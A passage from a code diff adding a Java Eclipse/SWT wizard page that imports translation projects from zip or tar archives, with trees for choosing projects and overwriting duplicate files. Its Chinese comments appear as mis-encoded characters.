GridLayout(2, true)); + + Label leftLbl = new Label(resourceTreeCmp, SWT.NONE); + leftLbl.setText(Messages.getString("importProjectWizardPage.projectOfImport")); + + Label rightLbl = new Label(resourceTreeCmp, SWT.NONE); + rightLbl.setText(Messages.getString("importProjectWizardPage.repeatedContent")); + + // 定义两颗树 + selectContentProvider = new SelectProjectContentProvider(); + repeateContentProvider = new RepeatProjectContentProvider(); + selectElementTree = new ResourceTree(resourceTreeCmp, selectContentProvider, new ProjectLabelProvider()); + repeatElementTree = new ResourceTree(resourceTreeCmp, repeateContentProvider, new ProjectLabelProvider()); + + // 左边的按钮 + Composite leftBtnCmp = new Composite(resourceTreeCmp, SWT.NONE); + leftBtnCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + GridLayoutFactory.swtDefaults().margins(0, 0).numColumns(3).applyTo(leftBtnCmp); + + leftSelectAllBtn = new Button(leftBtnCmp, SWT.PUSH); + leftSelectAllBtn.setText(Messages.getString("importProjectWizardPage.leftSelectAllBtn")); + leftSelectAllBtn.addListener(SWT.Selection, this); + setButtonLayoutData(leftSelectAllBtn); + + leftDisSelectAllBtn = new Button(leftBtnCmp, SWT.PUSH); + leftDisSelectAllBtn.setText(Messages.getString("importProjectWizardPage.leftDisSelectAllBtn")); + leftDisSelectAllBtn.addListener(SWT.Selection, this); + setButtonLayoutData(leftDisSelectAllBtn); + + leftAllExpandBtn = new Button(leftBtnCmp, SWT.PUSH); + leftAllExpandBtn.setText(Messages.getString("importProjectWizardPage.leftExpandAllBtn")); + leftAllExpandBtn.addListener(SWT.Selection, this); + setButtonLayoutData(leftAllExpandBtn); + + // å³è¾¹çš„按钮 + Composite rightBtnCmp = new Composite(resourceTreeCmp, SWT.NONE); + rightBtnCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + GridLayoutFactory.swtDefaults().margins(0, 0).numColumns(3).applyTo(rightBtnCmp); + + rightSelectAllBtn = new Button(rightBtnCmp, SWT.PUSH); + rightSelectAllBtn.setText(Messages.getString("importProjectWizardPage.rightSelectAllBtn")); + rightSelectAllBtn.addListener(SWT.Selection, this); + setButtonLayoutData(rightSelectAllBtn); + + rightDisSelectAllBtn = new Button(rightBtnCmp, SWT.PUSH); + rightDisSelectAllBtn.setText(Messages.getString("importProjectWizardPage.rightDisSelectAllBtn")); + rightDisSelectAllBtn.addListener(SWT.Selection, this); + setButtonLayoutData(rightDisSelectAllBtn); + + rightAllExpandBtn = new Button(rightBtnCmp, SWT.PUSH); + rightAllExpandBtn.setText(Messages.getString("importProjectWizardPage.rightExpandAllBtn")); + rightAllExpandBtn.addListener(SWT.Selection, this); + setButtonLayoutData(rightAllExpandBtn); + + // åˆå§‹åŒ–两颗树的事件 + initTreeListener(); + selectElementTree.setInput(this); + repeatElementTree.setInput(this); + } + + + public void handleEvent(Event event) { + if (event.widget == browseBtn) { + handleBrowseBtnPressed(); + }else if (event.widget == leftSelectAllBtn) { + // 执行全部选择(左边树) + selectElementTreeBtnSelectFunction(true); + }else if (event.widget == leftDisSelectAllBtn) { + // 执行全部ä¸é€‰(å³è¾¹æ ‘) + selectElementTreeBtnSelectFunction(false); + }else if (event.widget == leftAllExpandBtn) { + selectElementTree.expandAll(); + }else if (event.widget == rightSelectAllBtn) { + // 执行全部选择(左边树) + checkRepeatTreeBtnSelectFunction(true); + }else if (event.widget == rightDisSelectAllBtn) { + // 执行全部ä¸é€‰(å³è¾¹æ ‘) + checkRepeatTreeBtnSelectFunction(false); + }else if (event.widget == rightAllExpandBtn) { + repeatElementTree.expandAll(); + } + setPageCompleteState(OTHER_TYPE); + } + + /** + * é‡å¤æ ‘点击选择所有以åŠæ‰€æœ‰ä¸é€‰æ‹©æŒ‰é’®æ—¶æ‰§è¡Œçš„方法 + */ + private void checkRepeatTreeBtnSelectFunction(final boolean checkState){ + BusyIndicator.showWhile(getControl().getDisplay(), new Runnable() { + public void run() { + repeatElementTree.setCheckedAll(checkState); + for(Object obj : repeatElementTree.getAllElement()){ + if (obj instanceof ProjectResource) { + ProjectResource proResourceElement = (ProjectResource) obj; + proResourceElement.setNeedCover(repeatElementTree.getChecked(proResourceElement)); + } + } + repeatElementTree.refresh(true); + } + }); + } + + /** + * 点击选择所有以åŠæ‰€æœ‰ä¸é€‰æ‹©æŒ‰é’®æ—¶æ‰§è¡Œçš„方法 + * @param event + */ + private void selectElementTreeBtnSelectFunction(final boolean checkState){ + checkedRepeatElementMap.clear(); + selectElementTree.setCheckedAll(checkState); + Object[] checkedElementArray = selectElementTree.getCheckedElements(); + for(Object checkedElement : checkedElementArray){ + if (checkedElement instanceof ProjectResource) { + ProjectResource proResourceElement = (ProjectResource) checkedElement; + String projectName = proResourceElement.getProjectName(); + // 如果是é‡å¤çš„资æºï¼Œé‚£ä¹ˆæ·»åŠ åˆ°ç¼“存中 + if (proResourceElement.isProjectRepeat()) { + if (checkedRepeatElementMap.containsKey(projectName)) { + Set checkedElementSet = checkedRepeatElementMap.get(projectName); + checkedElementSet.add(proResourceElement); + checkedRepeatElementMap.put(projectName, checkedElementSet); + }else { + Set checkedElementSet = new HashSet(); + checkedElementSet.add(proResourceElement); + checkedRepeatElementMap.put(projectName, checkedElementSet); + } + } + } + } + setNotCoverForNotcheckOfSelectTree(); + + repeatElementTree.refresh(); + repeatElementTree.expandAll(); + checkRepeatTreeBtnSelectFunction(true); + } + + /** + * åˆå§‹åŒ–两颗树的事件 + */ + private void initTreeListener(){ + selectElementTree.addCheckStateListener(new ICheckStateListener() { + public void checkStateChanged(final CheckStateChangedEvent event) { + BusyIndicator.showWhile(getControl().getDisplay(), new Runnable() { + public void run() { + selectElementTreeCheckFunction(event); + setNotCoverForNotcheckOfSelectTree(); + setPageCompleteState(OTHER_TYPE); + } + }); + } + }); + + + repeatElementTree.addCheckStateListener(new ICheckStateListener() { + public void checkStateChanged(final CheckStateChangedEvent event) { + BusyIndicator.showWhile(getControl().getDisplay(), new Runnable() { + public void run() { + Object element = event.getElement(); + if (element instanceof ProjectResource) { + ProjectResource proResourceElement = (ProjectResource) element; + if (repeatElementTree.getChecked(proResourceElement)) { + proResourceElement.setNeedCover(true); + }else { + proResourceElement.setNeedCover(false); + } + // 处ç†æ‰€æœ‰çš„å­æ–‡ä»¶æˆ–文件夹,以ä¿å­˜è¯ä»–们都处于è¦è¦†ç›–çŠ¶æ€ + checkRepeatTreeChildCover(proResourceElement); + // 处ç†å½“å‰èŠ‚点的所有父节点 + ProjectResource parentProRes = proResourceElement.getParent(); + while(parentProRes != null){ + parentProRes.setNeedCover(repeatElementTree.getChecked(parentProRes)); + parentProRes = parentProRes.getParent(); + } + repeatElementTree.refresh(true); + } + setPageCompleteState(OTHER_TYPE); + } + }); + } + }); + } + + /** + * 左边树点击事件触å‘的方法 + * @param event + */ + private void selectElementTreeCheckFunction(CheckStateChangedEvent event){ + checkedRepeatElementMap.clear(); + Object[] checkedElementArray = selectElementTree.getCheckedElements(); + for(Object checkedElement : checkedElementArray){ + if (checkedElement instanceof ProjectResource) { + ProjectResource proResourceElement = (ProjectResource) checkedElement; + String projectName = proResourceElement.getProjectName(); + // 如果是é‡å¤çš„资æºï¼Œé‚£ä¹ˆæ·»åŠ åˆ°ç¼“存中 + if (proResourceElement.isProjectRepeat()) { + if (checkedRepeatElementMap.containsKey(projectName)) { + Set checkedElementSet = checkedRepeatElementMap.get(projectName); + checkedElementSet.add(proResourceElement); + checkedRepeatElementMap.put(projectName, checkedElementSet); + }else { + Set checkedElementSet = new HashSet(); + checkedElementSet.add(proResourceElement); + checkedRepeatElementMap.put(projectName, checkedElementSet); + } + } + } + } + + boolean noData = repeatElementTree.getTree().getItemCount() <= 0; + repeatElementTree.refresh(); + if (noData) { + checkRepeatTreeBtnSelectFunction(true); + repeatElementTree.expandAll(); + } + + } + + /** + * 将左边树中未选择的节点的 needCover 属性æ¢å¤é»˜è®¤çŠ¶æ€ + * 备注:主è¦æ˜¯ä¿®æ”¹ 一个属性åŒæ­¥çš„BUG : 全选左边树,å†å…¨é€‰å³è¾¹æ ‘,这时全ä¸é€‰å·¦è¾¹æ ‘,这时所有属性 + */ + private void setNotCoverForNotcheckOfSelectTree(){ + for(ProjectResource proSourceElement : selectElementTree.getAllElement()){ + if (!selectElementTree.getChecked(proSourceElement)) { + proSourceElement.restoreNeedCoverDefault(); + } + } + } + + + /** + * é‡å¤æ ‘点击事件触å‘的方法,该方法主è¦æ˜¯å®žçŽ°ç”¨æˆ·é’ˆå¯¹é‡å¤æ–‡ä»¶çš„覆盖选择æ“作 + * @param event + */ + private void checkRepeatTreeChildCover(ProjectResource parentElemnt){ + Object[] childArray = repeateContentProvider.getChildren(parentElemnt); + if (childArray == null || childArray.length <= 0) { + return; + } + for (Object childObj : childArray) { + if (childObj instanceof ProjectResource) { + ProjectResource proResourceChild = (ProjectResource) childObj; + proResourceChild.setNeedCover(repeatElementTree.getChecked(proResourceChild)); + checkRepeatTreeChildCover(proResourceChild); + } + } + } + + + protected void handleBrowseBtnPressed() { + FileDialog dialog = new FileDialog(filePathTxt.getShell(), SWT.SHEET); + dialog.setFilterExtensions(FILE_IMPORT_MASK); + dialog.setText(Messages.getString("importProjectWizardPage.SelectArchiveDialogTitle")); + + String fileName = filePathTxt.getText().trim(); + if (fileName.length() == 0) { + fileName = previouslyBrowsedPath; + } + + if (fileName.length() == 0) { + // IDEWorkbenchPlugin.getPluginWorkspace() + dialog.setFilterPath(ResourcesPlugin.getWorkspace().getRoot().getLocation().toOSString()); + } else { + File path = new File(fileName).getParentFile(); + if (path != null && path.exists()) { + dialog.setFilterPath(path.toString()); + } + } + + String selectedArchive = dialog.open(); + if (selectedArchive != null) { + previouslyBrowsedPath = selectedArchive; + filePathTxt.setText(previouslyBrowsedPath); + + // 先择新的项目包时,清除é‡å¤æ ‘中的所有内容 + checkedRepeatElementMap.clear(); + repeatElementTree.refresh(true); + + updateProjectsList(selectedArchive); + // åˆå§‹åŒ–时全部åˆå§‹åŒ– + selectElementTree.expandAll(); + selectElementTreeBtnSelectFunction(true); + } + } + + public void updateProjectsList(final String path) { + if (path == null || path.length() == 0) { + setMessage(Messages.getString("wizard.ImportProjectWizardPage.desc")); + selectedProjects = new ProjectRecord[0]; + setPageComplete(selectElementTree.getCheckedElements().length > 0); + lastPath = path; + return; + } + + final File directory = new File(path); + long modified = directory.lastModified(); + if (path.equals(lastPath) && lastModified == modified && lastCopyFiles == copyFiles) { + // since the file/folder was not modified and the path did not + // change, no refreshing is required + return; + } + + lastPath = path; + lastModified = modified; + lastCopyFiles = copyFiles; + + // We can't access the radio button from the inner class so get the + // status beforehand + final boolean dirSelected = false; + try { + getContainer().run(true, true, new IRunnableWithProgress() { + @SuppressWarnings({ "rawtypes", "restriction" }) + public void run(IProgressMonitor monitor) { + + monitor.beginTask(Messages.getString("importProjectWizardPage.searchingMessage"), 100); + selectedProjects = new ProjectRecord[0]; + Collection files = new ArrayList(); + monitor.worked(10); + if (!dirSelected + && ArchiveFileManipulations.isTarFile(path)) { + TarFile sourceTarFile = getSpecifiedTarSourceFile(path); + if (sourceTarFile == null) { + return; + } + + structureProvider = new TarLeveledStructureProvider( + sourceTarFile); + Object child = structureProvider.getRoot(); + + if (!collectProjectFilesFromProvider(files, child, 0, + monitor)) { + return; + } + Iterator filesIterator = files.iterator(); + selectedProjects = new ProjectRecord[files.size()]; + int index = 0; + monitor.worked(50); + monitor.subTask(Messages.getString("importProjectWizardPage.processingMessage")); + while (filesIterator.hasNext()) { + selectedProjects[index++] = (ProjectRecord) filesIterator + .next(); + } + } else if (!dirSelected && ArchiveFileManipulations.isZipFile(path)) { + ZipFile sourceFile = getSpecifiedZipSourceFile(path); + if (sourceFile == null) { + return; + } + structureProvider = new ZipLeveledStructureProvider(sourceFile); + Object child = structureProvider.getRoot(); + + if (!collectProjectFilesFromProvider(files, child, 0, + monitor)) { + return; + } + Iterator filesIterator = files.iterator(); + selectedProjects = new ProjectRecord[files.size()]; + int index = 0; + monitor.worked(50); + monitor.subTask(Messages.getString("importProjectWizardPage.processingMessage")); + while (filesIterator.hasNext()) { + selectedProjects[index++] = (ProjectRecord) filesIterator.next(); + } + } else { + monitor.worked(60); + } + monitor.done(); + } + + }); + } catch (InvocationTargetException e) { + LOGGER.error(e.getMessage(), e); + } catch (InterruptedException e) { + LOGGER.error(e.getMessage(), e); + } + + selectElementTree.refresh(true); + setPageComplete(selectElementTree.getCheckedElements().length > 0); + if(selectedProjects.length == 0) { + setMessage(Messages.getString("importProjectWizardPage.noProjectsToImport"), WARNING); + } + } + + @SuppressWarnings("restriction") + private TarFile getSpecifiedTarSourceFile(String fileName) { + if (fileName.length() == 0) { + return null; + } + + try { + return new TarFile(fileName); + } catch (TarException e) { + displayErrorDialog(Messages.getString("importProjectWizardPage.dialog.badFormat")); + } catch (IOException e) { + displayErrorDialog(Messages.getString("importProjectWizardPage.dialog.couldNotRead")); + } + + filePathTxt.setFocus(); + return null; + } + + /** + * 获å–左边树(选择项目资æºæ ‘)的输入内容 + * @return + */ + private ProjectResource[] getProjectResourceInput() { + rootProjectArray = null; + List proResourceList = new ArrayList(); + for (int i = 0; i < selectedProjects.length; i++) { + proResourceList.add(new ProjectResource(selectedProjects[i].getParent(), selectedProjects[i], structureProvider)); + } + rootProjectArray = (ProjectResource[]) proResourceList.toArray(new ProjectResource[proResourceList.size()]); + selectElementTree.setRoot(rootProjectArray); + return rootProjectArray; + } + + /** + * 获å–å³è¾¹æ ‘(é‡å¤é¡¹ç›®èµ„æºï¼‰çš„输入内容,å³èŽ·å–é‡å¤çš„é¡¹ç›®èµ„æº + * @return + */ + private ProjectResource[] getRepeateProResourceInput(){ + List proResourceList = new ArrayList(); + for(ProjectResource proResource : rootProjectArray){ + String projectName = proResource.getProjectName(); + if (checkedRepeatElementMap.containsKey(projectName)) { + proResourceList.add(proResource); + } + } + + ProjectResource[] root = (ProjectResource[]) proResourceList.toArray(new ProjectResource[proResourceList.size()]); + repeatElementTree.setRoot(root); + return root; + } + + + @SuppressWarnings({ "rawtypes", "unchecked" }) + private boolean collectProjectFilesFromProvider(Collection files, + Object entry, int level, IProgressMonitor monitor) { + + if (monitor.isCanceled()) { + return false; + } + monitor.subTask(NLS.bind(Messages.getString("importProjectWizardPage.checkingMessage"), structureProvider.getLabel(entry))); + List children = structureProvider.getChildren(entry); + if (children == null) { + children = new ArrayList(1); + } + Iterator childrenEnum = children.iterator(); + while (childrenEnum.hasNext()) { + Object child = childrenEnum.next(); + if (structureProvider.isFolder(child)) { + collectProjectFilesFromProvider(files, child, level + 1, monitor); + } + String elementLabel = structureProvider.getLabel(child); + if (elementLabel.equals(IProjectDescription.DESCRIPTION_FILE_NAME)) { + files.add(new ProjectRecord(child, entry, level)); + } + } + return true; + } + + private ZipFile getSpecifiedZipSourceFile(String fileName) { + if (fileName.length() == 0) { + return null; + } + + try { + return new ZipFile(fileName); + } catch (ZipException e) { + displayErrorDialog(Messages.getString("importProjectWizardPage.dialog.badFormat")); + } catch (IOException e) { + displayErrorDialog(Messages.getString("importProjectWizardPage.dialog.couldNotRead")); + } + + filePathTxt.setFocus(); + return null; + } + + protected void displayErrorDialog(String message) { + MessageDialog.openError(getShell(), Messages.getString("importProjectWizardPage.dialog.error"), message); + } + + public void performCancel() { + disposeImg(); + } + + /** + * 创建项目 + * @return + */ + public boolean createProjects(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + + Display.getDefault().syncExec(new Runnable() { + public void run() { + for(ProjectResource projRoot : rootProjectArray){ + if (selectElementTree.getChecked(projRoot)) { + totalWorkSum ++; + } + } + } + }); + monitor.beginTask(Messages.getString("importProjectWizardPage.beginImportProj"), totalWorkSum); + + Display.getDefault().syncExec(new Runnable() { + public void run() { + openedIfileMap = getAllOpenedIFile(); + } + }); + + try { + // ä¸€ä¸ªé¡¹ç›®ä¸€ä¸ªé¡¹ç›®çš„è¿›è¡Œç›¸å…³å¤„ç† + for(final ProjectResource projRoot : rootProjectArray){ + // 如果当å‰é¡¹ç›®æœªè¢«é€‰æ‹©ã€‚跳过继续执行 + runContinue = false; + Display.getDefault().syncExec(new Runnable() { + public void run() { + if (!selectElementTree.getChecked(projRoot)) { + runContinue = true; + } + } + }); + if (runContinue) { + continue; + } + + monitor.setTaskName(MessageFormat.format(Messages.getString("importProjectWizardPage.beginImportProjName"), + new Object[]{projRoot.getProjectName()})); + + final IProject newProject = root.getProject(projRoot.getProjectName()); + if (!projRoot.isProjectRepeat()) { + // 创建项目 + newProject.create(null); + if (!newProject.isOpen()) { + newProject.open(null); + } + } + + Display.getDefault().syncExec(new Runnable() { + public void run() { + createProjectImpl(projRoot, newProject); + } + }); + + createRequireFolder(newProject); + createConfigFile(projRoot, newProject); + monitor.worked(1); + } + } catch (Exception e) { + e.printStackTrace(); + monitor.done(); + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openWarning(getShell(), Messages.getString("importProject.all.dialog.warning"), + Messages.getString("importProjectWizardPage.importFail")); + } + }); + LOGGER.error(Messages.getString("importProjectWizardPage.LOGG.importEroor"), e); + disposeImg(); + return false; + } + disposeImg(); + monitor.done(); + + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(getShell(), Messages.getString("importProject.all.dialog.info"), + Messages.getString("importProjectWizardPage.importSuccess")); + } + }); + + return true; + } + + /** + * 创建 .config 文件夹 + * @param projRoot + * @param newProject + */ + private void createConfigFile(ProjectResource projRoot, IProject newProject){ + try { + IFile configIFile = newProject.getFile(Constant.FILE_CONFIG); + if (!configIFile.exists()) { + InputStream configStream = projRoot.getConfigFileContent(); + configIFile.create(configStream, true, null); + } + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error(Messages.getString("importProjectWizardPage.LOGG.importEroor"), e); + } + } + + + /** + * 如果这几个必须的文件夹在项目中ä¸å­˜åœ¨ï¼Œåˆ™åˆ›å»ºã€‚创建几个必须的文件夹,如下: Intermediate[Report, SKL], Source, Target, XLIFF 。 + */ + private void createRequireFolder(IProject newProject){ + try { + // ä»Žä¸Šåˆ°ä¸‹ï¼Œå…ˆå¤„ç† Intermediate + IFolder intermediateFolder = newProject.getFolder(Constant.FOLDER_INTERMEDDIATE); + if (!intermediateFolder.exists()) { + intermediateFolder.create(true, true, null); + } + + // å†å¤„ç† Report + IFolder reportFolder = intermediateFolder.getFolder(Constant.FOLDER_REPORT); + if (!reportFolder.exists()) { + reportFolder.create(true, true, null); + } + + // å†å¤„ç† SKL + IFolder sklFolder = intermediateFolder.getFolder(Constant.FOLDER_SKL); + if (!sklFolder.exists()) { + sklFolder.create(true, true, null); + } + + // å†å¤„ç† source + IFolder srcFolder = newProject.getFolder(Constant.FOLDER_SRC); + if (!srcFolder.exists()) { + srcFolder.create(true, true, null); + } + + // å†å¤„ç† target + IFolder tgtFolder = newProject.getFolder(Constant.FOLDER_TGT); + if (!tgtFolder.exists()) { + tgtFolder.create(true, true, null); + } + + // å†å¤„ç† xliff + IFolder xlfFolder = newProject.getFolder(Constant.FOLDER_XLIFF); + if (!xlfFolder.exists()) { + xlfFolder.create(true, true, null); + } + + } catch (Exception e) { + LOGGER.error(Messages.getString("importProjectWizardPage.LOGG.importEroor"), e); + } + } + + + private void createProjectImpl(ProjectResource projRoot, IProject newProject){ + try { + for(Object obj : selectContentProvider.getChildren(projRoot)){ + if (obj instanceof ProjectResource) { + ProjectResource proResource = (ProjectResource) obj; + // 如果没有选中,那么ä¸è¿›è¡Œå¯¼å…¥æ“作 + if (!selectElementTree.getChecked(proResource)) { + continue; + } + + if (proResource.isFolder()) { + // 如果是文件夹,则创建 + IFolder childFolder = newProject.getFolder(proResource.getLabel()); + if (!childFolder.exists()) { + childFolder.create(true, true, null); + } + createCurProjectResource(proResource, childFolder); + }else { + // 如果是文件,则判断是å¦éœ€è¦è¦†ç›–,若是,则直接覆盖 + if (proResource.isNeedCover()) { + IFile iFile = newProject.getFile(proResource.getLabel()); + InputStream inputStream = proResource.getInputStream(); + if (inputStream != null) { + if (iFile.exists()) { + closeOpenedFile(iFile); + iFile.delete(true, null); + } + iFile.create(inputStream, true, null); + } + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + disposeImg(); + LOGGER.error(Messages.getString("importProjectWizardPage.LOGG.importEroor"), e); + } + + } + + + /** + * 获å–指定节点被选择的å­èŠ‚点 + * @param parentResource 树节点的父节点 + * @param parentFolder 项目空间的父文件夹 + * @return + */ + private void createCurProjectResource(ProjectResource parentResource, IFolder parentContainer) throws Exception{ + if (parentResource == null || parentContainer == null) { + return; + } + for(Object obj : selectContentProvider.getChildren(parentResource)){ + if (obj instanceof ProjectResource) { + ProjectResource proResource = (ProjectResource) obj; + if (!selectElementTree.getChecked(proResource)) { + continue; + } + + // 如果是文件夹,如果没有创建,直接创建 + if (proResource.isFolder()) { + IFolder childFolder = parentContainer.getFolder(proResource.getLabel()); + if (!childFolder.exists()) { + childFolder.create(true, true, null); + } + createCurProjectResource(proResource, childFolder); + }else { + // 如果是文件,则判断是å¦éœ€è¦è¦†ç›–,若是,则直接覆盖 + if (proResource.isNeedCover()) { + IFile iFile = parentContainer.getFile(proResource.getLabel()); + InputStream inputStream = proResource.getInputStream(); + if (inputStream != null) { + if (iFile.exists()) { + closeOpenedFile(iFile); + iFile.delete(true, null); + } + iFile.create(inputStream, true, null); + } + } + } + } + } + } + + + /** + * 设置å‘导界é¢çŠ¶æ€ï¼Œä»¥åŠç›¸å…³æç¤ºä¿¡æ¯ + */ + private void setPageCompleteState(int type){ + if(INIT_TYPE==type){ + setPageComplete(false); + return; + } + String filepath = filePathTxt.getText().trim(); + if (filepath.length() <= 0) { + setErrorMessage(Messages.getString("importProjectWizardPage.selectImportFilePath")); + setPageComplete(false); + }else if (rootProjectArray.length == 0) { + if (filepath.endsWith(".hsprj")) { + setErrorMessage(Messages.getString("importProjectWizardPage.selectImportFilePath")); + setPageComplete(false); + }else { + setErrorMessage(Messages.getString("importProjectWizardPage.selectRightImportFilePath")); + setPageComplete(false); + } + }else { + if (selectElementTree.getCheckedElements().length <= 0) { + setErrorMessage(Messages.getString("importProjectWizardPage.selectImportProject")); + setPageComplete(false); + }else { + if (repeatElementTree.getTree().getItemCount() > 0) { + if (repeatElementTree.getCheckedElements().length <= 0) { + setErrorMessage(null); + setMessage(Messages.getString("importProjectWizardPage.selectNeedCoverFile")); + setPageComplete(true); + }else { + setErrorMessage(null); + setMessage(null); + setPageComplete(true); + } + }else { + setErrorMessage(null); + setMessage(null); + setPageComplete(true); + } + } + } + } + + /** + * 当项目导入完æˆæ—¶ï¼Œå…³é—­å·²ç»æ‰“开的文件(针对通过编辑器打开,特别是 nattble 与 html 编辑器) + * 备注:这里特别è¦æ³¨æ„åˆå¹¶æ‰“开的情况。 + * + */ + private void closeOpenedFile(final IFile iFile){ + Display.getDefault().syncExec(new Runnable() { + public void run() { + IEditorPart editor = openedIfileMap.get(iFile); + if (editor == null) { + return; + } + + page.closeEditor(editor, true); + } + }); + + } + + + /** + * 获å–所有已ç»è¢«æ‰“开的文件 + * @return + */ + private Map getAllOpenedIFile(){ + Map openedIfileMap = new HashMap(); + + IEditorReference[] referenceArray = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().getEditorReferences(); + for(IEditorReference reference : referenceArray){ + IEditorPart editor = reference.getEditor(true); + // 如果这是一个 nattable 编辑器 + if (XLIFF_EDITOR_ID.equals(editor.getSite().getId())) { + IXliffEditor xlfEditor = (IXliffEditor)editor; + if (xlfEditor.isMultiFile()) { + for(File file : xlfEditor.getMultiFileList()){ + openedIfileMap.put(ResourceUtils.fileToIFile(file.getAbsolutePath()), editor); + } + }else { + openedIfileMap.put(((FileEditorInput)editor.getEditorInput()).getFile(), editor); + } + }else { + // 其他情况,直接将文件丢进去就行了 + openedIfileMap.put(((FileEditorInput)editor.getEditorInput()).getFile(), editor); + } + } + return openedIfileMap; + } + + + + /** + * 销æ¯å›¾ç‰‡èµ„æº + */ + private void disposeImg(){ + projectImg.dispose(); + folderImg.dispose(); + hsXLiffImg.dispose(); + htmlImg.dispose(); + defaultImg.dispose(); + for(Entry entry : imgMap.entrySet()){ + entry.getValue().dispose(); + } + imgMap.clear(); + } + + + + //------------------------- 下é¢æ˜¯å‡ ä¸ª provider 以åŠé¡¹ç›®çš„å°è£…ç±» -------------------------// + + + /** + * 标签æ供者 + * @author robert + */ + private final class ProjectLabelProvider extends LabelProvider implements IColorProvider{ + public String getText(Object element) { + if (element instanceof ProjectResource) { + ProjectResource proResource = (ProjectResource)element; + return proResource.getLabel(); + } + return null; + } + public Color getBackground(Object element) { + return null; + } + public Color getForeground(Object element) { + //ã€€æµ‹è¯•ä»£ç  +// ProjectResource proResource = (ProjectResource) element; +// if (proResource.isNeedCover()) { +// return getShell().getDisplay().getSystemColor(SWT.COLOR_RED); +// } + return null; + } + @Override + public Image getImage(Object element) { + if (element instanceof ProjectResource) { + ProjectResource proResource = (ProjectResource) element; + String fileName = proResource.getLabel(); + if (proResource.isProject()) { + return projectImg; + }else if (proResource.isFolder()) { + return folderImg; + }else if (fileName.endsWith(".hsxliff")) { + return hsXLiffImg; + }else if (fileName.endsWith(".html")) { + return htmlImg; + }else { + int index = fileName.lastIndexOf("."); + if (index != -1) { + String extension = fileName.substring(index, fileName.length()); + if (imgMap.containsKey(extension)) { + return imgMap.get(extension); + } + Program program = Program.findProgram(extension); + if (program != null) { + ImageData imageData = program.getImageData(); + if (imageData != null) { + Image img = new Image(getShell().getDisplay(), imageData); + imgMap.put(extension, img); + return img; + } + } + } + } + } + return defaultImg; + } + } + + + /** + * 内容æ供者 + * @author robert + */ + private final class SelectProjectContentProvider implements ITreeContentProvider{ + public void dispose() { + + } + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + + } + public Object[] getElements(Object inputElement) { + return getProjectResourceInput(); + } + public Object[] getChildren(Object parentElement) { + if (parentElement == null) { + return new Object[0]; + } + return ((ProjectResource)parentElement).getChildren().toArray(); + } + public Object getParent(Object element) { + if (element instanceof ProjectResource) { + return ((ProjectResource) element).getParent(); + } + return null; + } + public boolean hasChildren(Object element) { + return ((ProjectResource)element).hasChildren(); + } + } + + + /** + * å³è¾¹é‡å¤é¡¹ç›®æ ‘的内容æ供者 + * @author robert + */ + private final class RepeatProjectContentProvider implements ITreeContentProvider{ + public void dispose() { + + } + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + + } + public Object[] getElements(Object inputElement) { + return getRepeateProResourceInput(); + } + public Object[] getChildren(Object parentElement) { + if (parentElement == null) { + return new Object[0]; + } + List childList = new ArrayList(); + Object[] allChildren = selectContentProvider.getChildren(parentElement); + for(Object obj : allChildren){ + if (obj instanceof ProjectResource) { + // 先查看该å­èŠ‚点在左边树中是å¦è¢«é€‰ä¸­ + ProjectResource proResource = (ProjectResource) obj; + String projectName = proResource.getProjectName(); + if (checkedRepeatElementMap.get(projectName).contains(proResource)) { + // 如果这是一个é‡å¤çš„资æºï¼Œé‚£ä¹ˆå°±æ˜¾ç¤ºåœ¨å³è¾¹çš„é‡å¤å†…å®¹æ ‘ä¸Šé¢ + if (proResource.isElementRepeat()) { + childList.add(proResource); + } + } + } + } + return childList.toArray(new ProjectResource[childList.size()]); + } + public Object getParent(Object element) { + if (element instanceof ProjectResource) { + return selectContentProvider.getParent(element); + } + return null; + } + public boolean hasChildren(Object element) { + return selectContentProvider.hasChildren(element); + } + } + + + + /** + * 项目记录 + * @author robert 2013-03-08 + */ + public class ProjectRecord { + File projectSystemFile; + /** 项目的标识文件 .project */ + Object projectArchiveFile; + /** 项目å称 */ + String projectName; + /** 项目标识文件.project 的父文件夹 */ + Object parent; + int level; + boolean hasConflicts; + IProjectDescription description; + /** + * Create a record for a project based on the info in the file. + * + * @param file + */ + ProjectRecord(File file) { + projectSystemFile = file; + setProjectName(); + } + + /** + * @param file + * The Object representing the .project file + * @param parent + * The parent folder of the .project file + * @param level + * The number of levels deep in the provider the file is + */ + ProjectRecord(Object file, Object parent, int level) { + this.projectArchiveFile = file; + this.parent = parent; + this.level = level; + setProjectName(); + } + + /** + * Set the name of the project based on the projectFile. + */ + @SuppressWarnings("restriction") + private void setProjectName() { + try { + if (projectArchiveFile != null) { + InputStream stream = structureProvider + .getContents(projectArchiveFile); + + // If we can get a description pull the name from there + if (stream == null) { + if (projectArchiveFile instanceof ZipEntry) { + IPath path = new Path( + ((ZipEntry) projectArchiveFile).getName()); + projectName = path.segment(path.segmentCount() - 2); + } else if (projectArchiveFile instanceof TarEntry) { + IPath path = new Path(((TarEntry) projectArchiveFile).getName()); + projectName = path.segment(path.segmentCount() - 2); + } + } else { + description = ResourcesPlugin.getWorkspace().loadProjectDescription(stream); + stream.close(); + projectName = description.getName(); + } + } + + // If we don't have the project name try again + if (projectName == null) { + IPath path = new Path(projectSystemFile.getPath()); + // if the file is in the default location, use the directory + // name as the project name + if (isDefaultLocation(path)) { + projectName = path.segment(path.segmentCount() - 2); + description = ResourcesPlugin.getWorkspace().newProjectDescription(projectName); +// IProject project = + } else { + description = ResourcesPlugin.getWorkspace().loadProjectDescription(path); + projectName = description.getName(); + } + + } + } catch (CoreException e) { + // no good couldn't get the name + } catch (IOException e) { + // no good couldn't get the name + } + } + + /** + * Returns whether the given project description file path is in the + * default location for a project + * + * @param path + * The path to examine + * @return Whether the given path is the default location for a project + */ + private boolean isDefaultLocation(IPath path) { + // The project description file must at least be within the project, + // which is within the workspace location + if (path.segmentCount() < 2) + return false; + return path.removeLastSegments(2).toFile().equals( + Platform.getLocation().toFile()); + } + + /** + * Get the name of the project + * + * @return String + */ + public String getProjectName() { + return projectName; + } + + /** + * Gets the label to be used when rendering this project record in the + * UI. + * + * 